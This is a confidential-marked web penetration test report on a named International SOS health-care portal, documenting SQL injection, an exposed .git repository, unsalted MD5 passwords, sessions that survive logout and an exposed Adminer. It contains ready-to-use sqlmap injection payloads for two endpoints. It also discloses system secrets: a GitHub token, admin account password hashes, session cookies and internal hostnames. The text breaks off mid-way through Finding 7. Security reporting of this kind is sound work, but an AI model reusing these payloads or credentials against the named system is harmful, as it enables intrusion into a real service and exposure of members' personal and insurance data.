

WEB APPLICATION PENETRATION TEST REPORT

Target Application
mhc.internationalsos.co.id

Report Date	May 17, 2026
Prepared By	Garry Tria Irawan (Independent Penetration Tester)
Classification	CONFIDENTIAL
Version	1.0

CONFIDENTIAL — FOR INTERNAL USE ONLY

TABLE OF CONTENTS			
No.	Section / Finding	Severity	Page
1.	Executive Summary		3
2.	Engagement Overview		4
2.1	Methodology		4
2.2	Scope		4
3.	Technology Stack		5
4.	Findings Summary		6
5.	Detailed Findings		7
5.1	SQL Injection — Client Search Endpoint (/master/client)	Critical	7
5.2	SQL Injection — Member Search Endpoint (/master/member)	Critical	9
5.3	Exposed .git Directory — Full Source Code Disclosure	Critical	11
5.4	Insecure Password Hashing — MD5 Without Salt	Critical	14
5.5	Session Not Invalidated After Logout	High	16
5.6	Adminer 4.8.1 Database Management Tool Exposed	High	18
5.7	Verbose PHP Error Messages Disclosed to Users	Medium	20
5.8	Web Server Version Disclosure (Nginx 1.28.0)	Low	23
5.9	Development Artifacts Accessible in Production	Info	24
6.	Remediation Roadmap		26
6.1	Immediate Actions		26
6.2	Short-term Actions		26
6.3	Long-term Actions		26
7.	Attack Chains		27
7.1	Complete Authentication Bypass via .git Exposure		27
7.2	Database Breach via SQL Injection + MD5 Cracking		27
8.	Conclusion		28

1. Executive Summary

This report presents the findings of an internal web application penetration test conducted against the application hosted at `mhc.internationalosos.co.id`. The assessment was performed by the Independent Penetration Tester team following the OWASP Testing Guide (v4.2) and PTES (Penetration Testing Execution Standard) methodologies.

The assessment identified a total of 9 security vulnerabilities, including 4 Critical, 2 High, 1 Medium, 1 Low and 1 Informational severity finding. The most significant findings include a confirmed SQL Injection vulnerability, complete source code disclosure via an exposed `.git` directory, hardcoded encryption keys, an unsalted MD5 password hashing scheme, and sessions that remain valid after logout. These vulnerabilities, when chained together, represent a complete application compromise scenario requiring immediate remediation.



2. Engagement Overview

Target Application	https://mhc.internationalsos.co.id/
Test Type	Gray-box Web Application Penetration Test
Test Period	May 2026
Performed By	Garry Tria Irawan (Independent Penetration Tester)
Methodology	OWASP Testing Guide v4.2 + PTES
Scope	https://mhc.internationalsos.co.id/ — All authenticated and unauthenticated endpoints
Authentication	Testing performed both unauthenticated and with standard user and admin user credentials
Tools Used	Burp Suite, sqlmap, git-dumper, curl, Nmap, manual testing

2.1 Methodology

The penetration test followed a structured approach aligned with OWASP Top 10 2021 and PTES phases:

- Reconnaissance: DNS enumeration, HTTP header analysis, technology fingerprinting, and .git directory discovery
- Authentication & Authorization Testing: Login security, session management, JWT analysis, and access control verification
- Input Validation & Injection: SQL injection, XSS, and parameter manipulation across all input vectors
- API & Data Exposure: Endpoint enumeration, response analysis, and sensitive data identification
- Infrastructure & Configuration: Web server configuration, exposed files, and deployment artifact analysis
- Business Logic: Workflow analysis and session management review

2.2 Scope

The following assets were within scope for this assessment:

- Primary application: <https://mhc.internationalsos.co.id/>
- All authenticated and unauthenticated web endpoints
- Static file serving and theme directories

3. Technology Stack

The following technology stack was identified during reconnaissance:

Web Framework	CodeIgniter 3.x (HMVC with MX modules)
Language	PHP 8.3.6
Web Server	Nginx 1.28.0 + Caddy (dual reverse proxy)
Database	MariaDB / MySQL (newsos_db)
Session Storage	Database-backed (ci_sessions table)
Frontend	Bootstrap, CKEditor, Highcharts, jQuery 1.7.2
Deployment	Docker (Dockerfile found in deploy/ directory)
Version Control	Git / GitHub

4. Findings Summary

The following table summarizes all vulnerabilities identified during the assessment, ordered by severity:

#	Finding Title	Severity	CVSS	OWASP
1	SQL Injection — Client Search Endpoint (/master/client)	Critical	8.8	A03:2021 — Injection
2	SQL Injection — Member Search Endpoint (/master/member)	Critical	8.8	A03:2021 — Injection
3	Exposed .git Directory — Full Source Code Disclosure	Critical	9.8	A05:2021 — Security Misconfiguration
4	Insecure Password Hashing — MD5 Without Salt	Critical	7.5	A02:2021 — Cryptographic Failures
5	Session Not Invalidated After Logout	High	8.1	A07:2021 — Identification and Authentication Failures
6	Adminer 4.8.1 Database Management Tool Exposed	High	7.3	A05:2021 — Security Misconfiguration
7	Verbose PHP Error Messages Disclosed to Users	Medium	5.3	A05:2021 — Security Misconfiguration
8	Web Server Version Disclosure (Nginx 1.28.0)	Low	5.3	A05:2021 — Security Misconfiguration
9	Development Artifacts Accessible in Production	Informational	5.3	A05:2021 — Security Misconfiguration

5. Detailed Findings

Finding 1: SQL Injection — Client Search Endpoint (/master/client)	
Severity	Critical
CVSS Score	8.8 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP	A03:2021 — Injection
Affected URL	POST /master/client
Auth Required	Yes (authenticated)

Description

SQL Injection vulnerabilities were identified in three parameters of the client search endpoint: `date_start`, `date_end`, and `column`. All parameter values are concatenated directly into SQL queries without proper sanitization or parameterization. An authenticated attacker can exploit these to enumerate the database, extract sensitive data, and cause Denial of Service via resource exhaustion. Three injection techniques were confirmed: boolean-based blind, error-based, and time-based blind. A `REPEAT()` payload triggered a 504 Gateway Timeout, confirming resource exhaustion is achievable.

Evidence

Affected parameters: `date_start`, `date_end`, `column` (POST body)

Error: "mysqli_sql_exception: You have an error in your SQL syntax..." with table `sos_client` and partial query structure exposed

<pre>1 POST /master/client HTTP/2 2 Host: mhc.internationalosos.co.id 3 Cookie: adminer_version=0; ci_session= 303631376522d3f454c5cb4c92027376 4 Content-Length: 124 5 Cache-Control: max-age=0 6 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" 7 Sec-Ch-Ua-Mobile: ?0 8 Sec-Ch-Ua-Platform: "Windows" 9 Accept-Language: en-US,en;q=0.9 10 Origin: https://mhc.internationalosos.co.id 11 Content-Type: application/x-www-form-urlencoded 12 Upgrade-Insecure-Requests: 1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 14 Accept: text/html,application/xhtml+xml,application/xml;q=0. 9,image/avif,image/webp,image/apng,*/*;q=0.8,applica tion/signed-exchange;v=b3;q=0.7 15 Referer: https://mhc.internationalosos.co.id/master/client 16 Accept-Encoding: gzip, deflate, br 17 Priority: u=0, i 18 19 page=&switch_search=1&load=1&column=client_code'& keyword=aaa&date_start=2026-05-01'&date_end= 2026-05-02'&btn_search=Search%21</pre>	<pre>1 HTTP/2 500 Internal Server Error 2 Alt-Svc: h3=":443"; ma=2592000 3 Cache-Control: no-store, no-cache, must-revalidate 4 Content-Type: text/html; charset=UTF-8 5 Date: Sun, 10 May 2026 14:27:11 GMT 6 Expires: Thu, 19 Nov 1981 08:52:00 GMT 7 Pragma: no-cache 8 Referrer-Policy: strict-origin-when-cross-origin 9 Server: Caddy 10 Server: nginx/1.28.0 11 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload 12 X-Content-Type-Options: nosniff 13 X-Frame-Options: SAMEORIGIN 14 X-Powered-By: PHP/8.3.6 15 X-Xss-Protection: 1; mode=block 16 17 18 19 <div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;"> 20 21 <h4> 22 An uncaught Exception was encountered 23 </h4> 24 25 <p> 26 Type: mysqli_sql_exception 27 28 </p> 29 30 Message: You have an error in your SQL 31 syntax; check the manual that corresponds 32 to your MySQL server version for the right 33 syntax to use near '01:00:00' AND 34 `sos_client`.`time_add` <= '2026-05-02' 35 23:59:00') 36 AND client_co' at line 4</p> 37 38 <p> 39 Filename: 40 /home/app/system/database/driver 41 s/mysqli/mysqli_driver.php 42 43 </p></pre>
---	--

Manual test: single quote in date_end triggered SQL syntax error with query structure visible in response
sqlmap confirmed three injection types on date_start: boolean-based blind, error-based (GTID_SUBSET), time-based blind (SLEEP)

Database: newsos_db

```
eter: #1* ((custom) POST)
type: boolean-based blind
title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
payload: page=&switch_search=1&load=1&column=client_code&keyword=aaa&date_start=2026-05-01') AND 7902=
(CASE WHEN (7902=7902) THEN 7902 ELSE (SELECT 6639 UNION SELECT 5970) END))-- --&date_end=2026-05-02&
ch=Search!

type: error-based
title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
payload: page=&switch_search=1&load=1&column=client_code&keyword=aaa&date_start=2026-05-01') AND GTID_
ONCAT(0x716a706a71,(SELECT (ELT(2160=2160,1))),0x7170786b71),2160) AND ('Exwf'='Exwf&date_end=2026-0
_search=Search!

type: time-based blind
title: MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)
payload: page=&switch_search=1&load=1&column=client_code&keyword=aaa&date_start=2026-05-01') AND (SELE
FROM (SELECT(SLEEP(5)))byEo)#&date_end=2026-05-02&btn_search=Search!

9:49] [INFO] the back-end DBMS is MySQL
application technology: PHP 8.3.6
end DBMS: MySQL >= 5.6
9:50] [INFO] fetching current user
9:50] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for fas
retrieval
9:50] [INFO] retrieved: root@%
nt user: 'root@%'
9:56] [INFO] fetching current database
9:56] [INFO] retrieved: 'newsos_db'
nt database: 'newsos_db'
```

Impact

- Full database enumeration and data exfiltration from newsos_db
- Extraction of all user credentials (MD5 hashes) from app_user table
- Denial of Service via database resource exhaustion
- Combined with MD5 password finding: complete account takeover chain

Recommendation

- Use CodeIgniter Query Builder with parameterized queries for all parameters
- Validate date inputs strictly enforce Y-m-d format and reject malformed values
- Whitelist allowed column names for the column parameter never pass raw user input as column identifier
- Set display_errors = Off in production to prevent SQL error disclosure
- Implement query rate limiting to prevent resource exhaustion abuse

References

- [OWASP SQL Injection](#)
- [OWASP Testing for SQL Injection](#)
- [CWE-89: Improper Neutralization of Special Elements in SQL Commands](#)

Finding 2: SQL Injection — Member Search Endpoint (/master/member)

Severity	Critical
CVSS Score	8.8 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP	A03:2021 — Injection
Affected URL	POST /master/member
Auth Required	Yes (authenticated)

Description

SQL Injection vulnerabilities were identified in four parameters of the member search endpoint: keyword, date_start, date_end, and btn_search. These parameters are concatenated directly into SQL queries without sanitization or parameterization. The root cause is the same as the client search endpoint unsanitized input passed through Mdl_master.php indicating a systemic failure in input handling across the entire master module. An authenticated attacker can extract all member PII and insurance data, enumerate the full database, and cause Denial of Service.

Evidence

Affected parameters: keyword, date_start, date_end, btn_search (POST body)

Manual testing: single quote in keyword and date_start triggered SQL syntax error responses

1 POST /master/member HTTP/2	17	
2 Host: mhc.internationalosos.co.id	18	
3 Cookie: adminer_version=0; ci_session=ba95f77204af5d749c8fc40dc5bc8875	19	<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">
4 Content-Length: 269	20	
5 Cache-Control: max-age=0	21	<h4>
6 Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"		An uncaught Exception was encountered
7 Sec-Ch-Ua-Mobile: ?0	22	</h4>
8 Sec-Ch-Ua-Platform: "Windows"	23	<p>
9 Accept-Language: en-US,en;q=0.9		Type: mysqli_sql_exception
10 Origin: https://mhc.internationalosos.co.id	24	</p>
11 Content-Type: application/x-www-form-urlencoded		<p>
12 Upgrade-Insecure-Requests: 1		Message: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' OR 'member_name' LIKE '%'' OR 'member_relationshiptype' LIKE '%'' OR 'membe' at line 7
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36	25	</p>
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7		<p>
15 Sec-Fetch-Site: same-origin		Filename:
16 Sec-Fetch-Mode: navigate	26	/home/app/system/database/drivers/mysqli/mysqli_driver.php
17 Sec-Fetch-User: ?1		</p>
18 Sec-Fetch-Dest: document		<p>
19 Referer: https://mhc.internationalosos.co.id/master/member	27	Line Number: 306
20 Accept-Encoding: gzip, deflate, br		</p>
21 Priority: u=0, i	28	
22	29	<p>
23 page=&switch_search=1&load=0&column=&keyword=' & date_start=&date_end=&btn_search=Search%21& member_clientid=&member_cardno=&member_name=& member_relationshiptype=&member_birthdate=& member_region=&member_location=&member_plantype=& member_employmentstatus=&member_statuscard=	30	Backtrace:
	31	</p>

sqlmap confirmed injection on multiple parameters: boolean-based blind, error-based, time-based blind. btn_search parameter injectable indicates raw POST parameter passed directly to query without validation Same Mdl_master.php model as /master/client systemic issue across the entire master module.

```
---
web application technology: PHP 8.3.6
back-end DBMS: MySQL >= 5.6
sqlmap identified the following injection point(s) with a total of 101 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
  Payload: page=&switch_search=1&load=0&colum=&keyword='') AND 1630=(SELECT (CASE WHEN
(1630=1630) THEN 1630 ELSE (SELECT 1875 UNION SELECT 5585) END))--
-&date_start=2026-05-10&date_end=2026-05-10&btn_search=Search!&member_clientid=&member_cardn
o=&member_name=&member_relationshiptype=&member_birthdate=&member_region=&member_location=&m
ember_plantype=&member_employmentstatus=&member_statuscard=
Vector: AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT
[RANDNUM1] UNION SELECT [RANDNUM2]) END))[GENERIC_SQL_COMMENT]

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(GTID_SUBSET)
  Payload: page=&switch_search=1&load=0&colum=&keyword='') AND
GTID_SUBSET(CONCAT(0x71716a6b71,(SELECT (ELT(6663=6663,1))),0x7162767671),6663) AND
('TOah'='TOah&date_start=2026-05-10&date_end=2026-05-10&btn_search=Search!&member_clientid=&
member_cardno=&member_name=&member_relationshiptype=&member_birthdate=&member_region=&member
_location=&member_plantype=&member_employmentstatus=&member_statuscard=
Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
---
```

Impact

- Full extraction of member PII (personal data, insurance information) from sos_member table
- Database enumeration across all tables in newsos_db
- Denial of Service via database resource exhaustion
- Combined with MD5 password cracking: complete compromise of all member accounts

Recommendation

- Use CodeIgniter Query Builder with parameterized queries for all search parameters
- Implement server-side input validation for keyword: limit length and sanitize special characters
- Validate date format strictly (Y-m-d), reject malformed input before query construction
- Remove btn_search from SQL query scope entirely, this parameter controls UI only and must not reach the database layer

References

- [OWASP SQL Injection](#)
- [CodeIgniter Query Binding](#)
- [CWE-89: Improper Neutralization of Special Elements in SQL Commands](#)

Finding 3: Exposed .git Directory — Full Source Code Disclosure

Severity	Critical
CVSS Score	9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP	A05:2021 — Security Misconfiguration
Affected URL	https://mhc.internationalsos.co.id/.git/
Auth Required	No

Description

The .git directory of the application is publicly accessible on the production web server. Using the git-dumper tool, the complete source code repository, comprising 7637 files was successfully downloaded without any authentication. This exposes the entire application codebase, configuration files, deployment scripts, secret keys, and historical commits. This is one of the most severe misconfigurations possible in a web application deployment.

Evidence

URL: <https://mhc.internationalsos.co.id/.git/HEAD> accessible with HTTP 200

```
D:\mhc>git clone https://ghp_n0P9jdTzg8Wl1bgKrfzCBRCjibQ58i34gzFW@github.com/dzakwanAniloID/mhc-sos-cms.git poc_clone
Cloning into 'poc_clone'...
remote: Invalid username or token. Password authentication is not supported for Git operations.
fatal: Authentication failed for 'https://github.com/dzakwanAniloID/mhc-sos-cms.git/'

D:\mhc>curl "https://mhc.internationalsos.co.id/.git/HEAD"
ref: refs/heads/main

D:\mhc>curl "https://mhc.internationalsos.co.id/.git/COMMIT_EDITMSG"
first commit

D:\mhc>curl "https://mhc.internationalsos.co.id/.git/logs/HEAD"
0000000000000000000000000000000000000000000000000000000000000000 1775ac51602b21ffec3e694a070a1f1627d2a866 root <root@jktols05.
radmond.com> 1768224178 +0700 commit (initial): first commit
1775ac51602b21ffec3e694a070a1f1627d2a866 0000000000000000000000000000000000000000000000000000000000000000 root <root@jktols05.
radmond.com> 1768224491 +0700 Branch: renamed refs/heads/master to refs/heads/main
0000000000000000000000000000000000000000000000000000000000000000 1775ac51602b21ffec3e694a070a1f1627d2a866 root <root@jktols05.
radmond.com> 1768224491 +0700 Branch: renamed refs/heads/master to refs/heads/main
1775ac51602b21ffec3e694a070a1f1627d2a866 f97103ea16eb3a11ffc7468b964fdd0a5e868886 root <root@jktols05.
radmond.com> 1768236107 +0700 pull: Fast-forward
f97103ea16eb3a11ffc7468b964fdd0a5e868886 c57a230fdc9fdd5209d7b0eaa15637e282e7ddb0 root <root@jktols05.
radmond.com> 1768236536 +0700 pull: Fast-forward
c57a230fdc9fdd5209d7b0eaa15637e282e7ddb0 b0720609b24cacefe921daa4ceaf755756ca9d9b root <root@jktols05.
radmond.com> 1769485362 +0700 pull: Fast-forward

D:\mhc>curl "https://mhc.internationalsos.co.id/.git/refs/heads/main"
b0720609b24cacefe921daa4ceaf755756ca9d9b

D:\mhc>
```

git-dumper successfully cloned full repository: 7,637 files recovered

Sensitive files obtained: application/config/config.php, application/config/database.php, deploy/Dockerfile, sos_db.sql

GitHub Personal Access Token found embedded in remote URL within .git/config (expired token)

Encryption keys, database schema, and application logic fully exposed

```
PS D:\mhc> (Get-ChildItem -Path "D:\mhc\clone2_poc" -Recurse -File).Count
7637
PS D:\mhc> Get-ChildItem -Path "D:\mhc\clone2_poc" -Directory | ForEach-Object {
>> $count = (Get-ChildItem -Path $_.FullName -Recurse -File).Count
>> [PSCustomObject]@{ Folder = $_.Name; Files = $count }
>> } | Sort-Object Files -Descending
```

Folder	Files
.git	3599
themes	2146
application	870
assets	709
system	211
modules	77
deploy	12
viewpdf	3

```
PS D:\mhc> ls .\clone2_poc\
```

Directory: D:\mhc\clone2_poc

Mode	LastWriteTime	Length	Name
d----	5/9/2026 10:34 PM		.git
d----	5/9/2026 9:23 PM		application
d----	5/9/2026 9:23 PM		assets
d----	5/9/2026 9:23 PM		deploy
d----	5/9/2026 9:23 PM		modules
d----	5/9/2026 9:23 PM		system
d----	5/9/2026 9:23 PM		themes
d----	5/9/2026 9:23 PM		viewpdf
-a----	5/9/2026 9:23 PM	8196	.DS_Store
-a----	5/9/2026 9:23 PM	70	.gitignore
-a----	5/9/2026 9:23 PM	179	.htaccess
-a----	5/9/2026 9:23 PM	317072	adminer.php
-a----	5/9/2026 9:23 PM	4297	config.php
-a----	5/9/2026 9:23 PM	353	cron_delete_session.php
-a----	5/9/2026 10:41 PM	0	git
-a----	5/9/2026 9:23 PM	6957	index.php
-a----	5/9/2026 9:23 PM	777841	sos_db.sql
-a----	5/9/2026 9:23 PM	41	windows-version.txt

Impact

- Complete application source code exposed to any internet user
- All secrets, API keys, and credentials accessible via repository
- Historical commits may contain previously deleted sensitive data
- Enables targeted attack using exact knowledge of application internals
- Full database schema (sos_db.sql) obtained, accelerates SQL injection exploitation

Recommendation

- Immediately block .git directory access in web server configuration
- Nginx: add "location ~ /\.git { deny all; return 403; }" to server block
- Caddy: add "handle /\.git* { respond 403 }" to Caddyfile
- Rotate ALL credentials and secrets exposed via this vector immediately
- Audit entire git commit history for additional sensitive data
- Implement pre-commit hooks to prevent secrets from being committed

References

- [OWASP Testing for Git Repository](#)
- [git-dumper tool](#)
- [CWE-538: File and Directory Information Exposure](#)

Finding 4: Insecure Password Hashing — MD5 Without Salt

Severity	Critical
CVSS Score	7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP	A02:2021 — Cryptographic Failures
Affected URL	modules/auth/controllers/Auth.php (line 30)
Auth Required	No

Description

User passwords are hashed using the MD5 algorithm without the use of a cryptographic salt. MD5 is a cryptographically broken hash function that is wholly inappropriate for password storage. Modern GPUs can compute approximately 10 billion MD5 hashes per second, making brute-force attacks trivially fast. The absence of salting further allows the use of pre-computed rainbow tables, enabling instant cracking of common passwords. This was confirmed via a PHP deprecation error exposing the md5() function call in the authentication controller.

Evidence

PHP error: "md5(): Passing null to parameter #1 (\$string) of type string is deprecated"

Error location: modules/auth/controllers/Auth.php line 30

Function md5() confirmed in authentication flow

Source code access via git confirms no salt implementation

```
<?php
include_once(APPPATH."libraries/FrontController.php");
class Auth extends FrontController {
    function __construct()
    {
        parent::__construct();
        $this->jCfg['theme'] = 'admin/'.cfg('template_admin');
    }
    function env() {
        phpinfo();
    }

    function index()
    {
        if(isset($this->jCfg['is_login']) && $this->jCfg['is_login']==1){
            redirect(site_url("meme/me"));
        }
        $data = array(
            'message'=>' '
        );

        //debugCode($this->site_info);
        $this->_v('login',$data);
    }

    function act_auth(){
        if(isset($_POST['login'])){
            $u = $this->input->post('username');
            $p = md5($this->input->post('password'));
            if( trim($u) == '' || trim($p) == '' ){
                $status = array(
                    "status" => 0,
                    "data" => array(),
                    "message" => 'Please input your username and password'
                );
                die(json_encode($status));
            }else{
                $d = $this->db->get_where("app_user",array(
```

```

INSERT INTO `app_user` (`user_id`, `user_name`, `user_password`, `user_status`, `
user_verification`, `time_add`, `time_update`, `user_add`, `user_update`, `user_logindate`, `
app_id`, `user_fullname`, `user_email`, `user_providerid`, `is_trash`, `user_photo`, `
is_show_all`, `user_background`, `user_themes`, `user_reset_key`, `site_id`, `user_telp`, `
user_site_id`, `user_fb_code`, `user_fb_token`, `user_tw_id_name`, `user_tw_token_secret`, `
user_tw_token`, `is_share`) VALUES
(1002, 'adminahc', '4297f44b13955235245b2497399d7a93', 1, NULL, '2016-02-13 02:37:57',
'2016-05-31 14:26:47', '1', '1001', '2016-05-31 14:27:09', 1, 'Admin AHC',
'ahac@mail.com', NULL, 1, 'profile-kosong1.png', 0, '', '', NULL, NULL, '-',
1001, '', '', '', '', 0),
(1001, 'admin', '202cb962ac59075b964b07152d234b70', 1, NULL, '2016-02-13 02:32:15',
'2016-03-22 15:41:32', '1', '1001', '2016-07-09 09:48:00', 1, 'Administrator',
'admin@mail.com', NULL, 0, 'profile-kosong.png', 1, '', '', NULL, NULL,
'08172782738', 1000, '', '', '', '', 0),
(1003, 'user123', '4297f44b13955235245b2497399d7a93', 1, NULL, '2016-02-17 15:02:39',
'2016-02-17 15:03:04', '1001', '1001', NULL, 1, 'aaa', 'aaaa@mail.com', NULL, 1,
'Screen_Shot_2016-02-16_at_3_20_13_PM.png', 0, '', '', NULL, NULL, '3123123', 1001, ''
, '', '', '', 0),
(1004, 'adminnmax', '4297f44b13955235245b2497399d7a93', 1, NULL, '2016-06-06 13:23:35',
'2016-06-06 13:25:52', '1001', '1001', '2016-06-20 15:51:15', 1, 'Admin Nmax',
'admin@mail.com', NULL, 1, 'profile-kosong1.png', 0, '', '', NULL, NULL,
'081727828', 1001, '', '', '', '', 0),
(1005, 'admpro', '202cb962ac59075b964b07152d234b70', 1, NULL, '2016-07-09 03:57:45',
'2016-07-09 10:19:17', '1001', '1006', '2016-07-09 10:40:45', 1, 'Admin Provider',
'provider@sos.co.id', 1, 0, 'images.jpg', 0, '', '', NULL, NULL, '08123456789',
1000, '', '', '', '', 0),
(1006, 'admsos', '202cb962ac59075b964b07152d234b70', 1, NULL, '2016-07-09 04:51:26',
'2016-07-09 04:51:27', '1001', '1001', '2016-07-11 05:07:44', 1, 'Administrator SOS',
'admin@sos.co.id', NULL, 0, 'images1.jpg', 1, '', '', NULL, NULL, '08212345678',
1000, '', '', '', '', 0);

```

Impact

- All user passwords are recoverable if database is compromised
- Rainbow table attacks enable instant cracking of common passwords
- GPU brute-force at ~10 billion attempts/second makes all passwords vulnerable
- Chained with SQL Injection: database dump leads to complete credential exposure

Recommendation

- Replace md5() with password_hash(\$password, PASSWORD_ARGON2ID) for new passwords
- Implement password_verify() for authentication checks
- Force password reset for all users after migration
- Add bcrypt/Argon2id migration path for existing MD5 hashes
- Implement minimum password complexity requirements

References

- [OWASP Password Storage Cheat Sheet](#)
- [PHP password_hash\(\) documentation](#)
- [CWE-916: Use of Password Hash With Insufficient Computational Effort](#)

Finding 5: Session Not Invalidated After Logout

Severity	High
CVSS Score	8.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
OWASP	A07:2021 — Identification and Authentication Failures
Affected URL	/auth/out
Auth Required	Yes

Description

The application does not properly invalidate session tokens on the server side when a user logs out. After a user logs out, the previously issued `ci_session` cookie value remains valid and can be reused to access authenticated endpoints as if the user were still logged in. This means that once an attacker obtains a valid session token through network interception, XSS, or other means they retain permanent access even after the legitimate user has logged out.

Evidence

`ci_session` cookie value captured before logout

Tester performed logout action browser cookie cleared on client side

Reusing old `ci_session` value in subsequent requests authenticated access maintained

Authenticated endpoints return valid data with expired/logged-out session cookie

The screenshot displays a web browser window with the URL `mhc.internationalsos.co.id/meme/me/welcome`. The page shows a dashboard with the text "Selamat datang di International SOS Managed Health Care". A Burp Suite network capture is overlaid on the right side of the browser window. The captured request is a GET to `/meme/me/welcome` with the following headers:

```

GET /meme/me/welcome HTTP/2
Host: mhc.internationalsos.co.id
Cookie: ci_session=9d4e400d1a72e4d09b451d9661579a;
Sec-CH-UA: "Not-A.Brand"v="4", "Chromium"v="116"
Sec-CH-UA-Mobile: 70
Sec-CH-UA-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71
Sec-Fetch-Dest: document
Referer: https://mhc.internationalsos.co.id/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

```

The cookie value `ci_session=9d4e400d1a72e4d09b451d9661579a` is highlighted in red in the original image, indicating it is a valid session token that can be reused after logout.

Impact

- Stolen session tokens cannot be invalidated permanent unauthorized access
- Users cannot effectively terminate their sessions to protect their accounts
- Session hijacking attacks provide long-term account access
- Critical in shared computer environments where users expect logout to be secure

Recommendation

- Implement server-side session destruction: `$this->session->sess_destroy()`
- Delete the session record from `ci_sessions` database table on logout

- Set session expiration time and enforce it server-side, not just via cookie
- Implement absolute session timeout regardless of activity
- Consider rotating session IDs after privilege changes

References

- [OWASP Session Management Cheat Sheet](#)
- [CWE-613: Insufficient Session Expiration](#)
- [CodeIgniter Session Library](#)

Finding 6: Adminer 4.8.1 Database Management Tool Exposed

Severity	High
CVSS Score	7.3 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP	A05:2021 — Security Misconfiguration
Affected URL	https://mhc.internationalsos.co.id/adminer.php
Auth Required	No

Description

Adminer version 4.8.1, a full-featured database management web application, is publicly accessible on the production server without any IP restriction or additional authentication layer. While the MySQL database server is not externally reachable (connection refused from Adminer), the presence of this tool on a production server represents a significant residual risk. If the network configuration changes or an SSRF vulnerability is found, full database access would be immediately achievable.

Evidence

URL: <https://mhc.internationalsos.co.id/adminer.php> returns HTTP 200 OK

Adminer 4.8.1 login interface fully rendered and accessible

No IP allowlisting or additional authentication present

Database connection attempt returned "Connection refused" MySQL port not exposed externally

The screenshot shows the Adminer 4.8.1 login interface in a web browser. The URL bar displays `mhc.internationalsos.co.id/adminer.php?server=mhc.internationalsos.co.id&username=...`. The page title is "Adminer 4.8.1" and the subtitle is "(MySQL) root@sos.co.id - sos_db". A warning message states: "Warning: Trying to access array offset on null in /home/app/adminer.php on line 1446". Below this, a red box indicates "Connection refused". The login form includes fields for System (MySQL), Server (sos.co.id), Username (root), Password (masked), and Database (sos_db). There are "Login" and "Permanent login" buttons.

The bottom part of the screenshot shows the browser's DevTools network tab. The selected request is `adminer.php?server=mhc.internationalsos.co.id&username=root&db=sos_db`. The request details are as follows:

Name	Headers	Payload	Preview	Response	Initiator	Timing
adminer.php?server=mhc.internationalsos.co.id&username=root&db=sos_db	General					
Request URL	<code>https://mhc.internationalsos.co.id/adminer.php?server=mhc.internationalsos.co.id&username=root&db=sos_db</code>					
Request Method	GET					
Status Code	403 Forbidden (from disk cache)					
Remote Address	127.0.0.1:8080					
Referrer Policy	strict-origin-when-cross-origin					

Impact

- Database management interface exposed to the internet
- If DB credentials obtained (e.g., via .git exposure), full database access possible
- Information disclosure of database type and Adminer version
- Potential attack surface if network segmentation changes

Recommendation

- Remove adminer.php from the production server immediately
- If database management access is needed, use a separate internal tool or VPN-only access
- Restrict access by IP using web server configuration if tool must remain
- Never deploy database management tools to public-facing servers

References

- [Adminer Security](#)
- [OWASP Secure Configuration Guide](#)
- [CWE-16: Configuration](#)

Finding 7: Verbose PHP Error Messages Disclosed to Users	
Severity	Medium
CVSS Score	5.3 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP	A05:2021 — Security Misconfiguration
Affected URL	Multiple endpoints
Auth Required	No

Description

The application has PHP error display enabled in the production environment, causing detailed stack traces, internal file paths, function names, and line numbers to be rendered directly in the browser response. This information is invaluable to attackers as it reveals the exact application structure, confirms the framework (CodeIgniter), exposes the server file path (/home/app/), and directly aided in the identification of the SQL injection and other vulnerabilities during this assessment.

Evidence

- PHP error: "trim(): Passing null..." Auth.php line 30, path /home/app/modules/auth/controllers/Auth.php
- PHP error: "md5(): Passing null..." confirms MD5 password hashing
- SQL error: "mysqli_sql_exception: You have an error in your SQL syntax..." with partial query
- PHP error: "openssl_decrypt(): IV passed is only 7 bytes..." reveals encryption mechanism
